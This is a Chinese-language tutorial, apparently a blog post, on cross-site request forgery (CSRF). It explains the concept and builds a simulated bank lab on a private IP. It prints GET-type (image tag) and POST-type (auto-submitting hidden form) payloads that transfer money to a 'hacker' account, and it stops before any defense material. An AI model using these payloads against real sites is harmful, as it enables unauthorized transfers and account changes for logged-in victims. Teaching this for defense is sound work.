• 跨站请求伪造(CSRF)攻击与防御原理


    跨站请求伪造(CSRF)

    1.1 CSRF原理

    1.1.1 基本概念

    跨站请求伪造(Cross Site Request Forgery,CSRF)是一种攻击,它强制浏览器客户端用户在当前对其进行身份验证后的Web 应用程序上执行非本意操作的攻击,攻击的重点在于更改状态的请求,而不是盗取数据,因为攻击者无法查看伪造请求的响应。

    借助于社工的一些帮助,例如,通过电子邮件或聊天发送链接,攻击者可以诱骗用户执行攻击者选择的操作。如果受害者是普通用户,则成功的CSRF 攻击可以强制用户执行更改状态的请求,例如转移资金、修改密码等操作。如果受害者是管理账户,CSRF 攻击会危及整个Web 应用程序。

    1.1.2 关键点

    • 受害者没有退出登录,受害者保持身份认证。
    • CSRF 继承了受害者的身份和特权,代表受害者执行非本意的、恶意的操作。
    • CSRF 会借用浏览器中与站点关联的所有身份凭据,例如用户的会话Cookie,IP 地址,Windows 域凭据等。

    1.1.3 目标

    • CSRF 的目标是更改用户账户的状态,攻击者利用CSRF 发送的请求都是更改状态的请求,比如,转账、更改密码,购买商品等等。
    • CSRF 的场景中,攻击者是没有办法获得服务器的响应。

    1.2 CSRF 场景

    1.2.1 银行账户转账

    搭建模拟银行网站

    image-20230828171043040

    1.2.2 构造虚假网站

    构造CSRF攻击连接

    <meta charset='utf-8'>
    <br/>
    <img src='http://192.168.16.136/bank/action.php?
    username=hacker&money=100&submit=%E4%BA%A4%E6%98%93' alt='宝刀在手,谁与争锋'>
    
    • 1
    • 2
    • 3
    • 4

    攻击者通过 标签构造GET 请求:当浏览器加载图片的时候执行了GET请求链接。

    浏览器根据 标签中的 SRC 属性,请求服务器资源,会自动带上身份认证信息。

    1.2.3 场景建模

    image-20230828165612981

    同意浏览器下,两个网站,信任的网站A和不信任的网站B

    环境搭建
    银行环境

    将bank压缩包解压后,创建数据库和表

    image-20230828171959496

    虚假网站

    GET型

    <meta charset='utf-8'>
    <img src='./1.jpg'><br />
    <img src='http://192.168.16.136/bank/action.php?
    username=hacker&money=100&submit=%E4%BA%A4%E6%98%93'
    alt='宝刀在手,谁与争锋'>
    
    • 1
    • 2
    • 3
    • 4
    • 5

    POST型

    <meta charset='utf-8'>
    <form name='csrf' action='http://192.168.16.136/bank/action.php' method='post'>
    <input type='hidden' name='username' value='hacker'>
    <input type='hidden' name='money' value='100'>
    form>
    <script>document.csrf.submit()script>
    <img src="./1.jpg" ><br />